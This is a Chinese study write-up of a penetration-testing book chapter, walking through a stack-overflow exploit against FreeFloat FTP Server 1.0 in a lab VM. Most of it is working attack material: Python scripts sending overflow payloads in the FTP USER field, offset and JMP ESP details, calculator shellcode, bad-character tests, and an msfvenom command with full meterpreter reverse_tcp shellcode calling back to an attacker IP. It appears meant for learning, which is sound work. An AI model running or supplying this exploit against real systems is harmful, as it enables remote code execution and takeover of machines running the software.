《Python渗透测试编程技术:方法与实践》:信息的利用

第六章、对漏洞进行渗透(基础部分)

本章学习如何开发一个漏洞渗透模块,选择的目标是一款简单的软件FreeFloat FTP Server。这款软件早期的版本存在一个栈溢出漏洞,因此被人利用从而发生远程代码执行的问题,攻击者有可能借此来控制安装有该软件的计算机设备。

章节目标——
	如何对软件的溢出漏洞进行测试
	计算软件溢出的偏移地址
	查找JMP ESP指令
	编写渗透程序
	坏字符的确定
	使用Matesploit来生成shellcode

测试软件的溢出漏洞

漏洞信息

  1. 漏洞简述
    漏洞名称:Freefloat FTP server – ‘USER’ Remote Buffer Overflow
    漏洞编号:EDB-ID 23243
    漏洞类型:栈溢出
    漏洞影响:远程代码执行
    利用难度:Esay

  2. 组件概述
    freefloatftpserver1.0 用于打开ftp服务,用于上传文件和管理有线及无线设备的软件

  3. 漏洞影响
    freefloatftpserver1.0

准备工作——安装包下载连接在文末
靶机环境:Windows xp sp3(我用的Windows64位的虚拟机,因为我之前已经安装过了)
靶机配置:freefloatftpserver1.0、Immunity Debugger、Mona、python2.7(因为我的win7上没有python,所以我还加装了python2.7)
攻击机:kali 2022.03——这个kali它自己就有工具,所以就不需要我安装啦~
攻击机配置:­ ­ Metasploit(大佬说也可以用 Pwntools,可以参考文末“看雪论坛”的那篇博客)

我只需要配置好win7靶机,先下载的Freefloat FTP Server 1.0拖进去,双击打开。然后有如下界面
在这里插入图片描述
安装Immunity Debugger,双击打开,界面如下
在这里插入图片描述
在Immunity Debugger中安装mona:
在这里插入图片描述
打开Immunity Debugger测试安装是否成功,命令行输入!mona,打开L(日志窗口)出现如下页面表示安装成功
在这里插入图片描述
之后再打开,会是这样
在这里插入图片描述

6.1、测试软件的溢出漏洞

(1)用FTP命令,然后使用open命令打开192.168.88.131
在这里插入图片描述
(2)FreeFloat FTP Server服务器对登录没有限制,所以输入任意的用户名和密码都可以登录的。例如尝试用户名、密码分别为kali、kali。
在这里插入图片描述
(3)测试这个软件是否有溢出漏洞
第一步,我们输入很多个a作为用户名,看系统是否崩溃(前人总结的啦,系统崩溃了就可能是软件有溢出漏洞啦~)
我也不知道输入了多少个a,反正就是太长了,但是也成功登录了,因为我再用open 192.168.88.131显示已经登录成功了的。然后用quit命令退出,重新试试看。
在这里插入图片描述
(4)跟着书上尝试,发现win7这边FreeFloat FTP Server崩溃了。

┌──(kaligan㉿studygan)-[~/Desktop]
└─$ python3    
Python 3.10.4 (main, Mar 24 2022, 13:07:27) [GCC 11.2.0] on linux
Type "help", "copyright", "credits" or "license" for more information.
>>> s=socket.socket()
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
NameError: name 'socket' is not defined
>>> import socket
>>> s=socket.socket()
>>> connect = s.connect(('192.168.88.131',21))
>>> shellcode=b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
>>> data = b"USER "+shellcode+b"\r\n"
>>> s.connect(('192.168.88.131',21))
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
OSError: [Errno 106] Transport endpoint is already connected
>>> s.send(data)
320
>>> shellcode=b"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
>>> data = b"USER "+shellcode+b"\r\n"
>>> s.send(data)
358

在这里插入图片描述
(5)用Immunity Debugger来看报错信息
首先,以管理员的身份运行Innunity debugger
其次,通常有两种方法可以使用 Immunity Debugger 来调试应用程序:1、确保应用程序正在运行,打开 Immunity Debugger,然后使用File -> Attach调试器攻击正在运行的进程。2、打开 Immunity Debugger,然后使用它File -> Open来运行应用程序。
注:在 Immunity Debugger 中附加到应用程序或打开应用程序时,应用程序将被暂停。单击“运行”按钮或按 F9。
本文以第二种方式来测试。
———————————————分割线:方法1——————————————————————
在这里插入图片描述
打开后界面如下
在这里插入图片描述
debug->run(或者按F9)
在这里插入图片描述
然后重复一遍(4)中步骤
在这里插入图片描述

———————————————分割线:方法2——————————————————————
或者先重复(4)中步骤,再到win7的Immunity Debugger中点一下run
在这里插入图片描述
反正呢。这时候就出现了书上那个报错中的数字啦~41414141
再run一下就会常出现报错
在这里插入图片描述

6.2、计算软件溢出偏移地址

相当于是说:freefloatftpserver1.0执行到地址“41414141”处时无法继续,这是因为原本保存下一条地址的EIP寄存器中的地址被溢出的字符A所覆盖。“\x41”在ASCII表中表示的正是字符A,也就是说,现在EIP寄存器中的内容就是AAAA,而操作系统无法在这个地址中找到一条可以执行的指令,从而引发软件崩溃。
在调试器中可以看到EIP的地址,但是要知道程序在操作系统中执行的是动态的,也就是说每一次软件执行时所分配的地址都是不同的。所以现在需要知道的不是EIP的绝对地址,而是EIP相对输入数据起始位置的相对位移。可以采用Metasploit中内置的两个工具pattern_create和pattern_offset。
pattern_create可以用于创建一段没有重复字符的文本,将这段文本发送到目标服务器,当发生溢出时,记录下程序发生错误的地址(也就是EIP中的内容),这个地址其实就是文本中的四个字符。然后利用pattern_offset快速找到这4个字符在文本中的偏移量,这个偏移量就是EIP寄存器的地址。
下面演示这个过程:
(1)生成新的报错信息

扫描二维码关注公众号,回复: 14502578 查看本文章
#进入metasploit目录
cd /usr/share/metasploit-framework/tools/exploit 
#执行工具pattern_create.rb,这是一个由Ruby语言编写的脚本,用-h查看参数
./pattern_create.rb 
┌──(kaligan㉿studygan)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -h
Usage: msf-pattern_create [options]
Example: msf-pattern_create -l 50 -s ABC,def,123
Ad1Ad2Ad3Ae1Ae2Ae3Af1Af2Af3Bd1Bd2Bd3Be1Be2Be3Bf1Bf
Options:
    -l, --length <length>            The length of the pattern
    -s, --sets <ABC,def,123>         Custom Pattern Sets
    -h, --help                       Show this message

#用工具生成一个500长的字符串
┌──(kaligan㉿studygan)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_create.rb -l 500
Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq

发送上面生成的字符串报错如下

>>> s.send(b'USER Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa8Aa9Ab0Ab1Ab2Ab3Ab4Ab5Ab6Ab7Ab8Ab9Ac0Ac1Ac2Ac3Ac4Ac5Ac6Ac7Ac8Ac9Ad0Ad1Ad2Ad3Ad4Ad5Ad6Ad7Ad8Ad9Ae0Ae1Ae2Ae3Ae4Ae5Ae6Ae7Ae8Ae9Af0Af1Af2Af3Af4Af5Af6Af7Af8Af9Ag0Ag1Ag2Ag3Ag4Ag5Ag6Ag7Ag8Ag9Ah0Ah1Ah2Ah3Ah4Ah5Ah6Ah7Ah8Ah9Ai0Ai1Ai2Ai3Ai4Ai5Ai6Ai7Ai8Ai9Aj0Aj1Aj2Aj3Aj4Aj5Aj6Aj7Aj8Aj9Ak0Ak1Ak2Ak3Ak4Ak5Ak6Ak7Ak8Ak9Al0Al1Al2Al3Al4Al5Al6Al7Al8Al9Am0Am1Am2Am3Am4Am5Am6Am7Am8Am9An0An1An2An3An4An5An6An7An8An9Ao0Ao1Ao2Ao3Ao4Ao5Ao6Ao7Ao8Ao9Ap0Ap1Ap2Ap3Ap4Ap5Ap6Ap7Ap8Ap9Aq0Aq1Aq2Aq3Aq4Aq5Aq\r\n')
507

在这里插入图片描述
(2)记录下信息中提示的“37684136”,然后使用pattern_offset查找这个值对应的偏移量。

┌──(kaligan㉿studygan)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_offset.rb -h    
Usage: msf-pattern_offset [options]
Example: msf-pattern_offset -q Aa3A
[*] Exact match at offset 9

Options:
    -q, --query Aa0A                 Query to Locate
    -l, --length <length>            The length of the pattern
    -s, --sets <ABC,def,123>         Custom Pattern Sets
    -h, --help                       Show this message
 
 #-q参数后面加上溢出的地址(这里为37684136),-l后面加上之前字符的长度(这里为500)                                                                               
┌──(kaligan㉿studygan)-[/usr/share/metasploit-framework/tools/exploit]
└─$ ./pattern_offset.rb -q 37684136 -l 500
[*] Exact match at offset 230

(3)验证偏移地址的正确性
现在已经成功找到EIP寄存器的位置,接下来向目标发送能导致系统溢出到EIP的数据,已经获得EIP偏移量为230,那么现在提供230个字符A,之后是4个B,编写下面的程序,向目标发出数据。

#在kali目录下打开终端,新建文件,写入
vi ftptest.py   
#写入内容如下,写完后 :wq保存退出
import socket
buff = b"\x41"*230+b"\x42"*4target = "192.168.88.131"
s=socket.socket()
s.connect((target,21))
data = b"USER "+buff+b"\r\n"
s.send(data)
s.close()

#然后执行【注意:要先在靶机那边重新启动FTP Server,然后再来kali执行这个py文件】
python3 ftptest.py

在这里插入图片描述

再回到靶机查看,这时候靶机上的FTP Server再次崩溃,崩溃地址为42424242。这说明EIP中的地址已经改为字符B,这验证了之前找到的偏移地址是正确的。
在这里插入图片描述

6.3、查找JSP ESP命令

有个问题:即使是控制了EIP中的内容,但之前提到的任何一个程序在每次执行的时候,操作系统都会为其分配不同的地址,因此即使可以决定下一步执行的地址,但是却不知道恶意攻击载荷的位置,此时没办法让目标服务器执行这个恶意代码载荷。
接下来要想办法让这个EIP中的地址指向攻击载荷。

首先选定寄存器
在这里插入图片描述
按照栈的设计,ESP寄存器应该位于EIP寄存器之后(中间可能有一些空隙),这个寄存器是最理想的选择:一是因为使用大量字符溢出栈的时候,可以使用特定字符来覆盖ESP;二是因为虽然无法对ESP寄存器进行定位,但可以利用一条“JMP ESP”跳转指令实现跳转到当前的ESP寄存器。

其次找到一条地址不会发生改变的JMP ESP指令
ntd.dll(NT Layer DLL)是Windows NT 操作系统的重要模块,属于操作系统级别的文件,用于对堆栈释放、进程管理。kernel32.dll是Windows 9x/Me中非常重要的32位动态链接文件,属于内核级文件,它控制着系统的内存管理、数据的输入输出操作和中断处理,当Windows启动时,kernel32.dll就驻留在内存中特定的 写保护区域,使其他程序无法占用这个内存区域。
一些经常用到的动态链接库会被映射到内存,如kernel32.dll、user32.dll会被几乎所有的进程加载,且加载的基址始终相同(不同的操作系统上可能不同)。所以只需要在这些动态链接库中找到JMP ESP指令即可,此时找到的JMP ESP地址一直都不会变。

然后用mona找JSM ESP地址
在命令面板输入 !mona jmp -r esp,我选定7729F463作为跳转指令【这个随便选一个dll的地址来试试看嘛】,将其记录下来。注意一定要选jmp esp地址!!!!!
注意:open FTP Server后,在点击run之前输入命令查询。后来发现自己选错了,然后还一直查不到jmp esp地址,所以我选了一个77DD0000去试试看都是不行的。如果实在是搜不到,可以看问题锦集,然后找到一个jmp esp地址来试试,总会成功的吧。
在这里插入图片描述

6.4、编写渗透程序

(1)对获取地址的处理
对于同一个地址,数据在网络传输和CPU存储时的表示方法不同,这里有一个大端、小端的概念。大端(Big-Endian)、小端(Little-Endian)以及网络字节序(NetWork Byte Order)的概念在编程中经常会遇到,其中网络字节序一般指大端(对大部分网络传输协议而言)传输。大端、小端的概念是面向多字节的数据类型存储方式定义的,小端是低位在前(低位字节存储在内存低地址,字节高低顺序和内存高低地址顺序相同);大端是高位在前(其中“前”是指靠近内存地址,存储在硬盘上的就是先写的那个字)。概念上字节序也叫主机序。
这里使用python编程向目标发送JMP ESP指令的地址时使用的是大端格式,而当前地址7729F463是小端格式,如果想要使用7729F463覆盖目标地址,在使用python编写渗透程序的时候需要使用倒置的大端格式地址/x63/xF4/x29/x77

(2)向目标发送能导致系统溢出到EIP的数据

#代码改一下buff中末尾的地址就行
import socket
buff = b"\x41"*230+b"\x28\x6C\xCD\x76"#jmp esp地址为76DC6C28
target = "192.168.88.131"
s=socket.socket()
s.connect((target,21))
data = b"USER "+buff+b"\r\n"#注意USER后面有个空格,因为之前算偏移量的时候USER后面就有空格
s.send(data)
s.close()

在这里插入图片描述
(3)添加希望在目标计算机执行的代码
书上有一段可以再目标计算机启动计算器程序的脚本:

"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4 \xb1".
"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30".
"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa".
"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96".
"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b".
"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a".
"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83".
"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98".
"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61".
"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05".
"\x7f \xe8\x7b\xca";

将这段代码加到buff里面

buff = b"\x41"*230+b"\x28\x6C\xCD\x76"
shellcode=b"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4 \xb1"
shellcode+=b"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shellcode+=b"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shellcode+=b"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shellcode+=b"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shellcode+=b"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shellcode+=b"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shellcode+=b"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shellcode+=b"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode+=b"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shellcode+=b"\x7f \xe8\x7b\xca"
buff+=shellcode

这时候,FTP Server崩溃,但是这段脚本却没有正确执行。因为ESP地址向后发生偏移,shellcode并没有全部载入ESP中,最前面的一部分ESP在外面,这样导致即使控制了程序也不能正常执行。

*解决方法一:*用特殊指令\x90NOPS,空指令。这个指令不会执行任何操作,但是可以占位,且能向下执行,这样即使不知道ESP的真实地址,只需要在EIP后面增加足够多的空指令,将shellcode偏移到ESP中,就能顺利执行shellcode。代码如下:

import socket
buff = b"\x41"*230+b"\x28\x6C\xCD\x76"+b"\x90"*20
shellcode=b"\xdb\xc0\x31\xc9\xbf\x7c\x16\x70\xcc\xd9\x74\x24\xf4\xb1"
shellcode+=b"\x1e\x58\x31\x78\x18\x83\xe8\xfc\x03\x78\x68\xf4\x85\x30"
shellcode+=b"\x78\xbc\x65\xc9\x78\xb6\x23\xf5\xf3\xb4\xae\x7d\x02\xaa"
shellcode+=b"\x3a\x32\x1c\xbf\x62\xed\x1d\x54\xd5\x66\x29\x21\xe7\x96"
shellcode+=b"\x60\xf5\x71\xca\x06\x35\xf5\x14\xc7\x7c\xfb\x1b\x05\x6b"
shellcode+=b"\xf0\x27\xdd\x48\xfd\x22\x38\x1b\xa2\xe8\xc3\xf7\x3b\x7a"
shellcode+=b"\xcf\x4c\x4f\x23\xd3\x53\xa4\x57\xf7\xd8\x3b\x83\x8e\x83"
shellcode+=b"\x1f\x57\x53\x64\x51\xa1\x33\xcd\xf5\xc6\xf5\xc1\x7e\x98"
shellcode+=b"\xf5\xaa\xf1\x05\xa8\x26\x99\x3d\x3b\xc0\xd9\xfe\x51\x61"
shellcode+=b"\xb6\x0e\x2f\x85\x19\x87\xb7\x78\x2f\x59\x90\x7b\xd7\x05"
shellcode+=b"\x7f \xe8\x7b\xca"
buff+=shellcode
target = "192.168.88.131"
s=socket.socket()
s.connect((target,21))
data = b"USER "+buff+b"\r\n"
s.send(data)
s.close()

【快乐就终止在这里了~不知道会不会是因为我装的win7本身就没有calculator,所以无法弹出计算器的界面,先不管了,跳到下一节,找坏字符】

6.5、坏字符的确定

实际中,我们需要找出可能的坏字符,避免shellcode中出现坏字符而被终止执行。
在前面的实例中,23个“A”、JMP ES地址以及shellcode的内容都是以FTP用户名的形式输入的,即是说其实输入的内容本质都是FTP的用户名。FTP对用户名也是有限制的,并非所有字符都能作为用户名,坏字符即不被允许的字符,可能导致FTP服务器拒绝接收后面的内容,从而导致只传送了一部分代码,每个程序入口接收规则都不一样,很难直接判断出哪些是坏字符,但是可以通过逐个测试的方法找出这些字符。
在生成shellcode之前需要确定坏字符,用mona生成一个0x00到0xff的bytearray,发送payload,比对哪个字符发送后会破坏payload,将其排除即可

#可能出现的坏字符,其实我们把\x00排除了的,因为0x00表示终止字符串拷贝操作,另外0x0d表示命令输入完毕,但网上又说和协议以及具体的软件有关系,所以全都写上,一个个测也是可以的。
bytearray = (
"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f"
"\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f"
"\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f"
"\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f"
"\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f"
"\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf"
"\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf"
"\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff")
#存到kali虚拟机的kali目录下,命名为ftptest3.py
import socket
buff = b"\x41"*230+b"\42"*4
badchars=b"\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10"
badchars+=b"\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20"
badchars+=b"\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30"
badchars+=b"\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40"
badchars+=b"\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50"
badchars+=b"\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60"
badchars+=b"\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70"
badchars+=b"\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80"
badchars+=b"\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90"
badchars+=b"\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0"
badchars+=b"\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0"
badchars+=b"\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0"
badchars+=b"\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0"
badchars+=b"\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0"
badchars+=b"\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0"
badchars+=b"\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff\x00"
buff+=badchars
target = "192.168.88.131"
s=socket.socket()
s.connect((target,21))
data = b"USER "+buff+b"\r\n"
s.send(data)
s.close()

执行上述代码后
在这里插入图片描述
所以我们去掉“\x0a”,很幸运,可以继续往后执行了,说明“\x0a”刚好是一个坏字符。继续看图,发现“\x40”开始有可能出现某个坏字符,我们又把“\x40”去掉,然后重新执行【靶机win7中的Immunity Debugger里面的Debug->restart; 删掉ftptest3.py中badchars里的\x40,重新运行】
在这里插入图片描述
然后我们把40去掉后发现ASCII 55 “SER AAAAAAAAAAAAAAAAAAAAAAAAAAAAA”还是存在,说明在09-0F之间还是有导致终止的坏字符,然后把前面的\x0d也去掉,就正常了。
在这里插入图片描述
通过测试我们发现,坏字符为\x0a、\x0d、\x40这三个。所以我们在生成shellcode中不能包含这些坏字符。

6.6、使用metasploit生成shellcode

(1)了解远程控制软件
发现目标的漏洞之后,就可以查找对应的漏洞渗透模块,单靠别编号的漏洞渗透模块并不能实现预期的功能。漏洞渗透模块是一把机内目标系统的钥匙,已经获得钥匙了,就可以将一段代码(也就是之前提到的shellcode)送到目标系统中并执行。那么我们shellcode能实现什么功能呢?
第一,让目标系统上的服务崩溃
第二,在目标系统上执行某个程序
第三,直接控制目标系统。
肯定是第三个才是我们最期望的啦~高级,直接控制目标靶机。本质就是运行一个远程控制程序,指的是可以再在一台设备上操纵另一台设备的软件。
通常情况下,远程控制程序一般被分成两部分:被控端和主控端。如果一台计算机上执行了被控端,就会被另一台装有主控端的计算机所控制。
远程控制软件分类

标准1:不同的连接方式
场景——一个黑客设法在受害者的计算机上执行远程控制软件服务器端,黑客现在所使用的计算机称为Hacker,而受害者所使用的计算机称为A。
如果说黑客所使用的的远程控制软件是正向的:A在执行远控软件服务器端之后只会在主机上打开一个端口,等待Hacker连接,A并不会通知Hacker,因此黑客必须知道A的ip地址,这导致实际中正向远程控制很困难。
反向远程控制软件:当A执行远程控制软件被控端之后,会主动通知Hacker,“hi,我现在受你控制了,请下命令吧。”此时黑客无需知道A的IP地址,只需要把这个远控软件发到目标即可,这种方式应用更加普遍。
标准2:目标操作系统
Windows上运行的大都是.exe文件
Android上运行的大都是apk文件
显然,Windows上运行的远控工具对Android是无用的。
常见的系统有Windows、Android、IOS、Linux等操作系统

(2)生成远程控制被控端程序的方式
老版本的metasploit中提供了两个关于远控程序被控端的命令。msfpayload负责生成攻击载荷;msfencode负责对攻击载荷进行编码。新版本的metasploit将这两个命令整合为一个命令msfvenom。

#msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=攻击IP LPORT=攻击端口 -f exe
#-p 载荷类型 ;LHOST 攻击IP地址 ; LPORT攻击端口;-b 坏字符;-f 编译的语言
┌──(kaligan㉿studygan)-[~/Desktop]
└─$ msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.88.129 LPORT=5001 -b'\x00\x0a\x40' -f python
To use retry middleware with Faraday v2.0+, install `faraday-retry` gem
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of python file: 1865 bytes
buf =  b""
buf += b"\xdb\xdd\xd9\x74\x24\xf4\xba\xf3\x7d\x4d\xf4\x58\x33"
buf += b"\xc9\xb1\x59\x83\xe8\xfc\x31\x50\x15\x03\x50\x15\x11"
buf += b"\x88\xb1\x1c\x5a\x73\x4a\xdd\x04\x45\x98\x54\x21\xc1"
buf += b"\x97\x35\x99\x81\xfa\xb5\x52\xc7\xee\xf4\x9b\x63\x7c"
buf += b"\xdf\x6c\xc3\xcb\x39\x43\xeb\x60\x79\xc2\x97\x7a\xae"
buf += b"\x24\xa9\xb4\xa3\x25\xee\x02\xc9\xca\xa2\xc3\xba\x46"
buf += b"\x53\x67\xfe\x5a\x52\xa7\x74\xe2\x2c\xc2\x4b\x96\x80"
buf += b"\xcd\x9b\xdd\x41\xee\x1a\x32\xfa\xa6\x04\xe4\x78\xff"
buf += b"\x41\x38\xb2\xff\xe3\xcb\x80\x74\xf2\x1d\xd9\x4a\x59"
buf += b"\x60\xd5\x46\xa3\xa5\xd2\xb8\xd6\xdd\x20\x44\xe1\x26"
buf += b"\x5a\x92\x64\xb8\xfc\x51\xde\x1c\xfc\xb6\xb9\xd7\xf2"
buf += b"\x73\xcd\xbf\x16\x85\x02\xb4\x23\x0e\xa5\x1a\xa2\x54"
buf += b"\x82\xbe\xee\x0f\xab\xe7\x4a\xe1\xd4\xf7\x33\x5e\x71"
buf += b"\x7c\xd1\x89\x05\x7d\x29\xb6\x5b\xe9\xe5\x7b\x64\xe9"
buf += b"\x61\x0b\x17\xdb\x2e\xa7\xbf\x57\xa6\x61\x47\xee\xa0"
buf += b"\x91\x97\x48\xa0\x6f\x18\xa8\xe8\xab\x4c\xf8\x82\x1a"
buf += b"\xed\x93\x52\xa2\x38\x09\x59\x34\x03\x65\x05\x45\xeb"
buf += b"\x77\xb6\x56\x65\xfe\x50\x08\x25\x50\xcd\xe9\x95\x10"
buf += b"\xbd\x81\xff\x9f\xe2\xb2\xff\x4a\x8b\x59\x10\x22\xe3"
buf += b"\xf5\x89\x6f\x7f\x67\x55\xba\x05\xa7\xdd\x4e\xf9\x66"
buf += b"\x16\x3b\xe9\x9f\x41\xc3\xf1\x5f\xe4\xc3\x9b\x5b\xae"
buf += b"\x94\x33\x66\x97\xd2\x9b\x99\xf2\x61\xdb\x66\x83\x53"
buf += b"\x97\x51\x11\xdb\xcf\x9d\xf5\xdb\x0f\xc8\x9f\xdb\x67"
buf += b"\xac\xfb\x88\x92\xb3\xd1\xbd\x0e\x26\xda\x97\xe3\xe1"
buf += b"\xb2\x15\xdd\xc6\x1c\xe6\x08\x55\x5a\x18\xce\x72\xc3"
buf += b"\x70\x30\xc3\xf3\x80\x5a\xc3\xa3\xe8\x91\xec\x4c\xd8"
buf += b"\x5a\x27\x05\x70\xd0\xa6\xe7\xe1\xe5\xe2\xa6\xbf\xe6"
buf += b"\x01\x73\x30\x9c\x6a\x84\xb1\x61\x63\xe1\xb2\x61\x8b"
buf += b"\x17\x8f\xb7\xb2\x6d\xce\x0b\x81\x7e\x65\x29\xa0\x14"
buf += b"\x85\x7d\xb2\x3c"
                                            

(3)控制靶机
